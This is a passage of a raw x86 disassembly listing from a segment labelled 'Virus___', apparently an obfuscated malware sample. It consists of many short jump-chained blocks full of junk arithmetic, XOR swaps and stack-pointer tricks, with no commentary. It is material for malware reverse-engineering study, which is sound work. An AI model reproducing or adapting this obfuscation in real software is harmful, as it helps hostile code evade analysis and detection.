		and	eax, 34184F8Ah
		shr	eax, 5
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_581494
; ---------------------------------------------------------------------------


loc_5824D1:				; CODE XREF: Virus___:005853F1j
		sub	al, dl
		add	al, 0EBh
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_584CD4
; ---------------------------------------------------------------------------


loc_5824DF:				; CODE XREF: Virus___:00592F36j
		sub	ebx, 2691317Bh
		add	ebx, esi
		jmp	loc_587B83
; ---------------------------------------------------------------------------


loc_5824EC:				; CODE XREF: Virus___:0058B2BFj
		sub	ebx, 71D81B28h
		push	edx
		mov	edx, 783063FFh
		push	ebp
		mov	ebp, 293D28A7h
		jmp	loc_58161B
; ---------------------------------------------------------------------------


loc_582503:				; CODE XREF: Virus___:0058C5A8j
		pop	edx
		add	ebp, eax
		sub	ebp, 4A162C81h
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		dec	word ptr [esp]
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_582538:				; CODE XREF: Virus___:00581B26j
		pop	edx
		sub	ecx, 6A124DB3h
		add	ecx, esi
		add	ecx, 6A124DB3h
		pop	esi
		jmp	loc_583497
; ---------------------------------------------------------------------------


loc_58254D:				; CODE XREF: Virus___:005936BCj
		xor	ebx, [esp]
		jmp	loc_581D42
; ---------------------------------------------------------------------------


loc_582555:				; CODE XREF: Virus___:00582905j
		pop	edx
		add	bl, al
		push	5913h
		mov	[esp], edx
		push	75C2h
		jmp	loc_57F921
; ---------------------------------------------------------------------------


loc_58256A:				; CODE XREF: Virus___:00587C23j
		pop	edx
		add	al, bl
		mov	ebx, [esp]
		jmp	loc_58B8E4
; ---------------------------------------------------------------------------


loc_582575:				; CODE XREF: Virus___:0058D00Aj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_58AF6B
; ---------------------------------------------------------------------------


loc_58258D:				; CODE XREF: Virus___:00591C72j
		sub	edi, 0FFFFFFFFh
		shl	edi, 1
		and	edi, 46E27DF3h
		push	ecx
		mov	ecx, 2CDD123Bh
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, 5A196062h
		add	eax, edi
		add	eax, 5A196062h
		pop	edi
		push	7A99h
		mov	[esp], edi
		push	ebp
		mov	ebp, 3A7B72D3h
		mov	edi, ebp
		pop	ebp
		jmp	loc_58CB2B
; ---------------------------------------------------------------------------


loc_5825CC:				; CODE XREF: Virus___:0058C05Cj
		add	al, dh
		sub	al, 49h
		add	al, 0FEh
		mov	edx, [esp]
		jmp	loc_582075
; ---------------------------------------------------------------------------


loc_5825DA:				; CODE XREF: Virus___:0058ADA5j
		mov	ebp, 28F828A7h
		jmp	loc_58E0BE
; ---------------------------------------------------------------------------


loc_5825E4:				; CODE XREF: Virus___:0058A85Aj
		mov	cl, 53h
		push	small 0
		jmp	loc_5929B2
; ---------------------------------------------------------------------------


loc_5825EF:				; CODE XREF: Virus___:00580A9Cj
		mov	ecx, [esp]
		jmp	loc_58B8FD
; ---------------------------------------------------------------------------


loc_5825F7:				; CODE XREF: Virus___:0058C814j
		pop	edi
		jmp	loc_58E744
; ---------------------------------------------------------------------------


loc_5825FD:				; CODE XREF: Virus___:00580260j
		xor	eax, edx
		xor	edx, eax
		jmp	loc_591059
; ---------------------------------------------------------------------------


loc_582606:				; CODE XREF: Virus___:00589E7Bj
		sub	al, 46h
		jmp	loc_58A6D6
; ---------------------------------------------------------------------------


loc_58260D:				; CODE XREF: Virus___:00580039j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_587FEE
; ---------------------------------------------------------------------------


loc_582622:				; CODE XREF: Virus___:00594086j
		pop	edi
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_593B52
; ---------------------------------------------------------------------------


loc_582635:				; CODE XREF: Virus___:00588D86j
		add	bl, al
		jmp	loc_5926BD
; ---------------------------------------------------------------------------


loc_58263C:				; CODE XREF: Virus___:0058A129j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	46Bh
		mov	[esp], ebp
		mov	ebp, 2
		add	ebx, 19201A89h
		jmp	loc_580875
; ---------------------------------------------------------------------------


loc_582663:				; CODE XREF: Virus___:005846E0j
		pop	ecx
		jmp	loc_59264B
; ---------------------------------------------------------------------------


loc_582669:				; CODE XREF: Virus___:00580933j
		push	ebx
		jmp	loc_5807D7
; ---------------------------------------------------------------------------


loc_58266F:				; CODE XREF: Virus___:0058E216j
		xor	ebp, [esp]
		pop	esp
		and	eax, edi
		jmp	loc_592DB1
; ---------------------------------------------------------------------------


loc_58267A:				; CODE XREF: Virus___:0058CE81j
		push	ecx
		jmp	loc_594189
; ---------------------------------------------------------------------------


loc_582680:				; CODE XREF: Virus___:0058D4AFj
		dec	ecx
		and	ecx, 75756680h
		sub	ecx, 8770BE1h
		and	edx, ecx
		pop	ecx
		add	edx, 0E48A2863h
		sub	eax, 29C20D64h
		add	eax, edx
		push	edx
		push	65ADh
		mov	[esp], ecx
		mov	ecx, 1F85329Dh
		push	ebx
		push	65ACh
		mov	[esp], ebp
		mov	ebp, 2CA745A8h
		mov	ebx, 2CE5D462h
		jmp	loc_58AE51
; ---------------------------------------------------------------------------


loc_5826C3:				; CODE XREF: Virus___:00589BBEj
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_5826CF:				; CODE XREF: Virus___:0058D876j
		mov	edi, 62A844E0h
		mov	ebp, edi
		pop	edi
		dec	ebp
		neg	ebp
		not	ebp
		jmp	loc_589845
; ---------------------------------------------------------------------------


loc_5826E1:				; CODE XREF: Virus___:0058E4B2j
		push	esi
		mov	esi, 1F5D0B4Ch
		sub	esi, 0FFFFFFFFh
		dec	esi
		jmp	loc_593B19
; ---------------------------------------------------------------------------


loc_5826F3:				; CODE XREF: Virus___:00593A14j
		xor	ecx, 3DF7F72Fh
		jmp	loc_58B5F6
; ---------------------------------------------------------------------------


loc_5826FE:				; CODE XREF: Virus___:005936E9j
		xor	edi, [esp]
		jmp	loc_591162
; ---------------------------------------------------------------------------


loc_582706:				; CODE XREF: Virus___:0058C150j
		xor	al, 50h
		add	al, 5
		add	ch, al
		pop	eax
		add	ch, 0DEh
		add	ch, al
		jmp	loc_58B63E
; ---------------------------------------------------------------------------


loc_582717:				; CODE XREF: Virus___:0058A63Dj
		mov	eax, 5E524F81h
		or	esi, eax
		jmp	loc_585EDB
; ---------------------------------------------------------------------------


loc_582723:				; CODE XREF: Virus___:00584623j
		add	ebx, edx
		sub	ebx, 1BB95DF6h
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5868B3
; ---------------------------------------------------------------------------


loc_58273C:				; CODE XREF: Virus___:00591A1Ej
		pop	ebp
		sub	eax, 0CF7F6F65h
		jmp	loc_590600
; ---------------------------------------------------------------------------


loc_582747:				; CODE XREF: Virus___:0058906Bj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	2F46h
		mov	[esp], eax
		push	2B535A12h
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5864BC
; ---------------------------------------------------------------------------


loc_582772:				; CODE XREF: Virus___:00581A72j
		mov	edi, 5D645B49h
		xor	edi, 5D645B4Dh
		add	esi, 19BA51A6h
		add	esi, edi
		sub	esi, 19BA51A6h
		pop	edi
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_591777
; ---------------------------------------------------------------------------


loc_5827A6:				; CODE XREF: Virus___:005885CBj
		push	ecx
		push	ebx
		jmp	loc_588E53
; ---------------------------------------------------------------------------


loc_5827AD:				; CODE XREF: Virus___:00590309j
		pop	esp
		mov	[esp], eax
		pop	eax
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_5827B7:				; CODE XREF: Virus___:00588F33j
		push	ebx
		mov	ebx, 7C8316DCh
		jmp	loc_5935B7
; ---------------------------------------------------------------------------


loc_5827C2:				; CODE XREF: Virus___:005924C1j
		pop	esp
		jmp	loc_58E38F
; ---------------------------------------------------------------------------


loc_5827C8:				; CODE XREF: Virus___:00592897j
		add	esp, 4
		jmp	loc_59243C
; ---------------------------------------------------------------------------


loc_5827D3:				; CODE XREF: Virus___:00588B8Aj
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58F9C7
; ---------------------------------------------------------------------------


loc_5827E5:				; CODE XREF: Virus___:005915DDj
		pop	esi
		jmp	loc_584F18
; ---------------------------------------------------------------------------


loc_5827EB:				; CODE XREF: Virus___:00591445j
		push	edi
		push	esi
		jmp	loc_58F34C
; ---------------------------------------------------------------------------


loc_5827F2:				; CODE XREF: Virus___:005850FBj
		mov	edi, ebx
		pop	ebx
		neg	edi
		add	edi, 1
		xor	edi, 19A1024Ch
		not	edi
		xor	edi, 32715FF0h
		sub	edi, 17D081FBh
		sub	ebp, edi
		pop	edi
		sub	edi, 581771AFh
		sub	edi, ebp
		add	edi, 581771AFh
		pop	ebp
		jmp	loc_59308A
; ---------------------------------------------------------------------------


loc_582828:				; CODE XREF: Virus___:0058E809j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_591451
; ---------------------------------------------------------------------------


loc_582836:				; CODE XREF: Virus___:00584FBDj
		pop	esp
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		jmp	loc_58F97A
; ---------------------------------------------------------------------------


loc_582843:				; CODE XREF: Virus___:00586553j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	3FE9h
		jmp	loc_58C909
; ---------------------------------------------------------------------------


loc_582871:				; CODE XREF: Virus___:00593C49j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_58B269
; ---------------------------------------------------------------------------


loc_58287D:				; CODE XREF: Virus___:00593E8Dj
		mov	eax, 663D1DF7h
		xor	eax, 1198353Ah
		jmp	loc_581638
; ---------------------------------------------------------------------------


loc_58288C:				; CODE XREF: Virus___:0059292Bj
		push	249B298Bh
		pop	edi
		jmp	loc_585C41
; ---------------------------------------------------------------------------


loc_582897:				; CODE XREF: Virus___:005895B6j
		mov	[esp], eax
		mov	eax, 2
		jmp	loc_590CD2
; ---------------------------------------------------------------------------


loc_5828A4:				; CODE XREF: Virus___:0058D81Bj
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		xor	eax, 25517369h
		jmp	loc_59348A
; ---------------------------------------------------------------------------


loc_5828B5:				; CODE XREF: Virus___:0057F52Fj
		push	dword ptr [edi+24h]
		push	ebp
		mov	ebp, esp
		push	edx
		push	ecx
		push	0C947A46h
		pop	ecx
		add	ecx, 0F36B85BEh
		jmp	loc_589F35
; ---------------------------------------------------------------------------


loc_5828CE:				; CODE XREF: Virus___:00589672j
		push	edx
		push	eax
		mov	eax, 70171DC1h
		add	eax, 73977BFEh
		add	eax, 587D9ACBh
		jmp	loc_5891F0
; ---------------------------------------------------------------------------


loc_5828E4:				; CODE XREF: Virus___:0057F80Cj
		add	eax, 58E552B7h
		jmp	loc_591CE4
; ---------------------------------------------------------------------------


loc_5828EE:				; CODE XREF: Virus___:0058C0F2j
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_588CD2
; ---------------------------------------------------------------------------


loc_5828F9:				; CODE XREF: Virus___:00587F66j
		push	3EC1h
		mov	[esp], edx
		mov	dh, 61h
		sub	bl, dh
		jmp	loc_582555
; ---------------------------------------------------------------------------


loc_58290A:				; CODE XREF: Virus___:0058CC03j
		add	eax, edi
		pop	edi
		sub	ecx, 18D13B56h
		add	ecx, eax
		jmp	loc_58140B
; ---------------------------------------------------------------------------


loc_58291A:				; CODE XREF: Virus___:0058EAAEj
		sub	edi, 0CBC7066h
		mov	ecx, edi
		pop	edi
		neg	ecx
		jmp	loc_58F341
; ---------------------------------------------------------------------------


loc_58292A:				; CODE XREF: Virus___:00583DB0j
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		mov	edi, [esp]
		jmp	loc_58FF6A
; ---------------------------------------------------------------------------


loc_58293E:				; CODE XREF: Virus___:00583415j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1C4DD9h
		xor	ebp, edi
		pop	edi
		jmp	loc_5810A1
; ---------------------------------------------------------------------------


loc_582951:				; CODE XREF: Virus___:0058A6B6j
		pop	ebx
		push	eax
		mov	eax, 52005042h
		jmp	loc_5917BF
; ---------------------------------------------------------------------------


loc_58295D:				; CODE XREF: Virus___:0058925Dj
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	56ABh
		jmp	loc_592F6F
; ---------------------------------------------------------------------------


loc_582971:				; CODE XREF: Virus___:0058CF18j
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, esp
		push	eax
		mov	eax, 4
		add	ecx, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_593476
; ---------------------------------------------------------------------------


loc_58298E:				; CODE XREF: Virus___:00592AA5j
		push	ebx
		mov	ebx, 692C3B66h
		xor	ebx, eax
		xor	eax, ebx
		xor	ebx, eax
		not	eax
		jmp	loc_582C5F
; ---------------------------------------------------------------------------


loc_5829A1:				; CODE XREF: Virus___:00591274j
		pop	eax
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_58933A
; ---------------------------------------------------------------------------


loc_5829AE:				; CODE XREF: Virus___:00585486j
		sub	edi, 6CD0523h
		and	edi, 74A07407h
		add	edi, 0FC0C3676h
		sub	esi, edi
		pop	edi
		jmp	loc_583167
; ---------------------------------------------------------------------------


loc_5829C8:				; CODE XREF: Virus___:00591A9Fj
		pop	ecx
		inc	edx
		jmp	loc_589636
; ---------------------------------------------------------------------------


loc_5829CF:				; CODE XREF: Virus___:00586567j
		mov	edi, 11174B17h
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, 30FE3E46h
		add	ebp, esi
		jmp	loc_58F503
; ---------------------------------------------------------------------------


loc_5829F8:				; CODE XREF: Virus___:00582B08j
		pop	ebp
		add	esp, 4
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_582A01:				; CODE XREF: Virus___:0059052Fj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5811D7
; ---------------------------------------------------------------------------


loc_582A15:				; CODE XREF: Virus___:005821E2j
		add	esi, 4
		jmp	loc_583C19
; ---------------------------------------------------------------------------


loc_582A20:				; CODE XREF: Virus___:00591342j
		add	esp, 4
		jmp	loc_589D3E
; ---------------------------------------------------------------------------


loc_582A2B:				; CODE XREF: Virus___:0058EF33j
		pop	ebx
		jmp	loc_588327
; ---------------------------------------------------------------------------


loc_582A31:				; CODE XREF: Virus___:0058E7AAj
		mov	[esp], edi
		mov	edi, 28137EE8h
		shr	edi, 4
		jmp	loc_5853F6
; ---------------------------------------------------------------------------


loc_582A41:				; CODE XREF: Virus___:005813B3j
		mov	[esp], ebx
		mov	ebx, 61115266h
		not	ebx
		add	ebx, 72587E53h
		sub	ecx, ebx
		pop	ebx
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		push	4
		pop	ebx
		jmp	loc_590234
; ---------------------------------------------------------------------------


loc_582A6E:				; CODE XREF: Virus___:0058C2D0j
		push	esp
		pop	ebx
		push	26A7h
		mov	[esp], edi
		jmp	loc_57F84E
; ---------------------------------------------------------------------------


loc_582A7D:				; CODE XREF: Virus___:00589585j
		mov	eax, 4
		add	esi, eax
		pop	eax
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5885FA
; ---------------------------------------------------------------------------


loc_582A97:				; CODE XREF: Virus___:00582F01j
		xor	ebp, esi
		pop	esi
		or	eax, ebp
		pop	ebp
		jmp	loc_58025D
; ---------------------------------------------------------------------------


loc_582AA2:				; CODE XREF: Virus___:0058122Ej
		mov	[esp], ebx
		push	esp
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_583362
; ---------------------------------------------------------------------------


loc_582AAF:				; CODE XREF: Virus___:00594223j
		mov	[esp], edx
		jmp	loc_57F652
; ---------------------------------------------------------------------------


loc_582AB7:				; CODE XREF: Virus___:005809B7j
		add	eax, 4
		add	eax, 2
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		pop	small word ptr [esp]
		push	edi
		push	esp
		pop	edi
		push	ebp
		mov	ebp, 71BA25CBh
		push	eax
		mov	eax, 653C4A5Fh
		inc	eax
		xor	eax, 0EB799059h
		add	ebp, eax
		pop	eax
		add	edi, ebp
		pop	ebp
		push	ebp
		mov	ebp, 2DDD332Ch
		not	ebp
		xor	ebp, 762311DDh
		or	ebp, 341A6090h
		dec	ebp
		jmp	loc_58F549
; ---------------------------------------------------------------------------


loc_582B02:				; CODE XREF: Virus___:00580D85j
		and	[edi+1Ch], ebp
		push	dword ptr [esp]
		jmp	loc_5829F8
; ---------------------------------------------------------------------------


loc_582B0D:				; CODE XREF: Virus___:0058B0C6j
		add	dword ptr [esp+4], 7D7472A0h
		mov	edx, [esp]
		add	esp, 4
		add	dword ptr [esp], 6490E20h
		add	dword ptr [esp], 48AF343Ch
		sub	[esp], eax
		jmp	loc_5821F9
; ---------------------------------------------------------------------------


loc_582B34:				; CODE XREF: Virus___:00580407j
		sub	[esp+4], ebx
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		add	edx, 18C54161h
		pop	ebp
		add	esi, edx
		jmp	loc_5882E5
; ---------------------------------------------------------------------------


loc_582B50:				; CODE XREF: Virus___:0058E9D1j
		push	1480h
		mov	[esp], ecx
		mov	ecx, 135E580Bh
		push	78ECh
		jmp	loc_5855A1
; ---------------------------------------------------------------------------


loc_582B67:				; CODE XREF: Virus___:0058842Bj
		sub	ebx, 0CD8BC5BFh
		add	eax, ebx
		pop	ebx
		add	eax, ecx
		sub	eax, 77943C60h
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		push	esi
		jmp	loc_58702D
; ---------------------------------------------------------------------------


loc_582B84:				; CODE XREF: Virus___:005876F3j
		neg	ebp
		inc	ebp
		xor	ebp, 0F02A23A1h
		mov	esi, ebp
		pop	ebp
		not	esi
		push	5B6Bh
		mov	[esp], ecx
		mov	ecx, 3C4A6FC3h
		sub	esi, ecx
		jmp	loc_590E3B
; ---------------------------------------------------------------------------


loc_582BA6:				; CODE XREF: Virus___:00586B07j
		mov	eax, 57AB4152h
		jmp	loc_593892
; ---------------------------------------------------------------------------


loc_582BB0:				; CODE XREF: Virus___:0058188Aj
		shl	eax, 2
		sub	eax, 41EA2BDEh
		push	edx
		mov	edx, 0E0F7EA26h
		sub	eax, 2C25C73h
		jmp	loc_583792
; ---------------------------------------------------------------------------


loc_582BC8:				; CODE XREF: Virus___:0058948Dj
		xor	esi, 7A5B261Fh
		jmp	loc_59259C
; ---------------------------------------------------------------------------


loc_582BD3:				; CODE XREF: Virus___:0058CEADj
		mov	eax, [esp]
		add	esp, 4
		pop	esi
		xchg	edi, [esp]
		pop	esp
		bts	[esp], ax
		pushf
		jmp	loc_5910CF
; ---------------------------------------------------------------------------


loc_582BEC:				; CODE XREF: Virus___:00586EC0j
		mov	bh, al
		pop	eax
		jmp	loc_589644
; ---------------------------------------------------------------------------


loc_582BF4:				; CODE XREF: Virus___:005900D6j
		inc	ecx
		add	ecx, 7C370D62h
		shl	ecx, 4
		or	ecx, 50033303h
		xor	ecx, 0D0882F35h
		jmp	loc_588E73
; ---------------------------------------------------------------------------


loc_582C0F:				; CODE XREF: Virus___:0058CF0Dj
		push	eax
		jmp	loc_58AE80
; ---------------------------------------------------------------------------


loc_582C15:				; CODE XREF: Virus___:0058A808j
		mov	esi, [esp]
		add	esp, 4
		push	5F2Fh
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_592430
; ---------------------------------------------------------------------------


loc_582C2C:				; CODE XREF: Virus___:0058B7E1j
		add	ecx, 48653DD1h
		jmp	loc_580342
; ---------------------------------------------------------------------------


loc_582C37:				; CODE XREF: Virus___:00590D60j
		pop	ebx
		add	ebx, 4
		push	ebp
		jmp	loc_58BB75
; ---------------------------------------------------------------------------


loc_582C44:				; CODE XREF: Virus___:005834F6j
		neg	ebp
		dec	ebp
		xor	ebp, 59255425h
		jmp	loc_593FDB
; ---------------------------------------------------------------------------


loc_582C52:				; CODE XREF: Virus___:005900ACj
		push	500Ch
		mov	[esp], ecx
		jmp	loc_591E47
; ---------------------------------------------------------------------------


loc_582C5F:				; CODE XREF: Virus___:0058299Cj
		xchg	eax, ebx
		dec	ebx
		shr	ebx, 6
		jmp	loc_58E9B4
; ---------------------------------------------------------------------------


loc_582C69:				; CODE XREF: Virus___:00591BEEj
		push	dword ptr [esp]
		jmp	loc_5926E9
; ---------------------------------------------------------------------------


loc_582C71:				; CODE XREF: Virus___:00585638j
		push	ebp
		jmp	loc_58776F
; ---------------------------------------------------------------------------


loc_582C77:				; CODE XREF: Virus___:00583BC8j
		push	edi
		mov	edi, 4B675D91h
		shr	edi, 7
		shl	edi, 7
		push	4FEBh
		jmp	loc_58E61A
; ---------------------------------------------------------------------------


loc_582C8D:				; CODE XREF: Virus___:00591C31j
		mov	al, 0F2h
		jmp	loc_58959F
; ---------------------------------------------------------------------------


loc_582C94:				; CODE XREF: Virus___:0058C4AEj
		sub	esp, 4
		jmp	loc_583B41
; ---------------------------------------------------------------------------


loc_582C9C:				; CODE XREF: Virus___:005867FBj
		mov	eax, [esp]
		add	esp, 4
		xor	[esp+4], edi
		pop	edi
		mov	edi, [esp]
		jmp	loc_589BEE
; ---------------------------------------------------------------------------


loc_582CAF:				; CODE XREF: Virus___:00588C58j
		push	ecx
		jmp	loc_5836DC
; ---------------------------------------------------------------------------


loc_582CB5:				; CODE XREF: Virus___:0058BFBDj
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_58B7CA
; ---------------------------------------------------------------------------


loc_582CBD:				; CODE XREF: Virus___:005881CCj
		mov	[esp], edx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edx, [esp]
		push	5805h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		mov	esp, [esp]
		push	esi
		push	ebx
		jmp	loc_592BCF
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], ebp
		push	eax
		push	26B93A4Ch
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_592A44
; ---------------------------------------------------------------------------


loc_582D27:				; CODE XREF: Virus___:0058C350j
		xor	ebp, 27F463B7h
		jmp	loc_58D9EF
; ---------------------------------------------------------------------------


loc_582D32:				; CODE XREF: Virus___:00586C5Fj
		pop	ebx
		jmp	loc_58083F
; ---------------------------------------------------------------------------


loc_582D38:				; CODE XREF: Virus___:00585F1Aj
		sub	ax, 69C9h
		push	ecx
		push	esi
		jmp	loc_583516
; ---------------------------------------------------------------------------


loc_582D43:				; CODE XREF: Virus___:0057F5BAj
		mov	[esp], ecx
		mov	ecx, 4B701AE3h
		jmp	loc_58D1AA
; ---------------------------------------------------------------------------


loc_582D50:				; CODE XREF: Virus___:005921F6j
		push	ecx
		mov	ecx, esp
		jmp	loc_58CF12
; ---------------------------------------------------------------------------


loc_582D58:				; CODE XREF: Virus___:00587316j
		pop	ebx
		add	ecx, esi
		sub	ecx, 7FA22EDCh
		pop	esi
		jmp	loc_58816C
; ---------------------------------------------------------------------------


loc_582D67:				; CODE XREF: Virus___:005891CFj
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58FC2D
; ---------------------------------------------------------------------------


loc_582D7C:				; CODE XREF: Virus___:0059293Bj
		add	eax, 4
		jmp	loc_586E54
; ---------------------------------------------------------------------------


loc_582D84:				; CODE XREF: Virus___:0058A456j
		mov	edx, 554B2F26h
		push	edi
		mov	edi, 2CEB54CCh
		or	edx, edi
		pop	edi
		sub	edx, 7B35669h
		mov	esi, edx
		pop	edx
		push	edi
		mov	edi, 31CF7230h
		add	esi, edi
		pop	edi
		push	eax
		mov	eax, 1E4F03E5h
		or	eax, 2D204DFBh
		jmp	loc_581DFD
; ---------------------------------------------------------------------------


loc_582DB4:				; CODE XREF: Virus___:0058EA42j
		add	esi, edx
		pop	edx
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5896FA
; ---------------------------------------------------------------------------


loc_582DD2:				; CODE XREF: Virus___:0058171Ej
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_588767
; ---------------------------------------------------------------------------


loc_582DE4:				; CODE XREF: Virus___:0058D304j
		add	dl, 1
		jmp	loc_58A259
; ---------------------------------------------------------------------------


loc_582DEC:				; CODE XREF: Virus___:00581573j
		sub	edi, 0E7BA3639h
		jmp	loc_57F624
; ---------------------------------------------------------------------------


loc_582DF7:				; CODE XREF: Virus___:005875BAj
		mov	esi, esp
		jmp	loc_583626
; ---------------------------------------------------------------------------


loc_582DFE:				; CODE XREF: Virus___:00581B50j
		push	esp
		jmp	loc_583F8F
; ---------------------------------------------------------------------------


loc_582E04:				; CODE XREF: Virus___:0058A29Cj
		dec	bh
		jmp	loc_580D4D
; ---------------------------------------------------------------------------


loc_582E0B:				; CODE XREF: Virus___:00593B93j
		mov	ebp, 35BE7809h
		sub	ebp, 3C0C5E48h
		xor	ebp, 32BC25F7h
		jmp	loc_5840EF
; ---------------------------------------------------------------------------


loc_582E21:				; CODE XREF: Virus___:0057F90Ej
		mov	[esp], ebx
		push	ebp
		mov	ebp, 687C44B0h
		mov	ebx, ebp
		pop	ebp
		shl	ebx, 7
		add	ebx, 2286BDCFh
		add	esi, 18B2155Eh
		add	esi, ebx
		sub	esi, 18B2155Eh
		pop	ebx
		pop	ecx
		xchg	esi, [esp]
		jmp	loc_587266
; ---------------------------------------------------------------------------


loc_582E4E:				; CODE XREF: Virus___:00586220j
		xor	al, dh
		pop	edx
		xor	dl, al
		pop	eax
		add	bl, 0F2h
		add	bl, dl
		jmp	loc_58FEEA
; ---------------------------------------------------------------------------


loc_582E5E:				; CODE XREF: Virus___:00588C43j
		sub	ebp, edi
		mov	edi, [esp]
		jmp	loc_5852D6
; ---------------------------------------------------------------------------


loc_582E68:				; CODE XREF: Virus___:00589FBDj
		xchg	edx, ecx
		not	edx
		xchg	edx, ecx
		dec	ecx
		not	ecx
		xor	ecx, 43394C1Ah
		jmp	loc_58D6BF
; ---------------------------------------------------------------------------


loc_582E7C:				; CODE XREF: Virus___:00592062j
		mov	ecx, edi
		sub	esp, 4
		mov	[esp], ecx
		sub	dword ptr [esp], 75D16975h
		mov	edx, [esp]
		jmp	loc_581D64
; ---------------------------------------------------------------------------


loc_582E93:				; CODE XREF: Virus___:005817C8j
		neg	cl
		jmp	loc_58DC0B
; ---------------------------------------------------------------------------


loc_582E9A:				; CODE XREF: Virus___:00587EBEj
		pop	edx
		sub	bh, 0FFh
		jmp	loc_580FBC
; ---------------------------------------------------------------------------


loc_582EA3:				; CODE XREF: Virus___:0058A295j
		add	ebx, esi
		pop	esi
		sub	ecx, ebx
		pop	ebx
		sub	ecx, esi
		jmp	loc_58C061
; ---------------------------------------------------------------------------


loc_582EB0:				; CODE XREF: Virus___:0057FE73j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_580658
; ---------------------------------------------------------------------------


loc_582EBD:				; CODE XREF: Virus___:005819DCj
		and	esi, 1AF47D74h
		add	esi, 0FFBF8F00h
		add	ebx, esi
		pop	esi
		push	edx
		mov	edx, 4
		push	2EECh
		mov	[esp], ecx
		mov	ecx, 459E6FFAh
		jmp	loc_58FB08
; ---------------------------------------------------------------------------


loc_582EE4:				; CODE XREF: Virus___:005801AFj
		push	esi
		jmp	loc_5864F1
; ---------------------------------------------------------------------------


loc_582EEA:				; CODE XREF: Virus___:00589BE9j
		inc	eax
		add	eax, 2C040EFFh
		push	ebp
		mov	ebp, 6327602Dh
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 6A6B32E5h
		jmp	loc_582A97
; ---------------------------------------------------------------------------


loc_582F06:				; CODE XREF: Virus___:00583347j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_59028A
; ---------------------------------------------------------------------------


loc_582F0F:				; CODE XREF: Virus___:00580FB7j
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		jmp	loc_58EE81
; ---------------------------------------------------------------------------


loc_582F1E:				; CODE XREF: Virus___:0058D7B7j
		mov	ebx, [esp]
		add	esp, 4
		add	eax, 4DD1C4Fh
		push	ebx
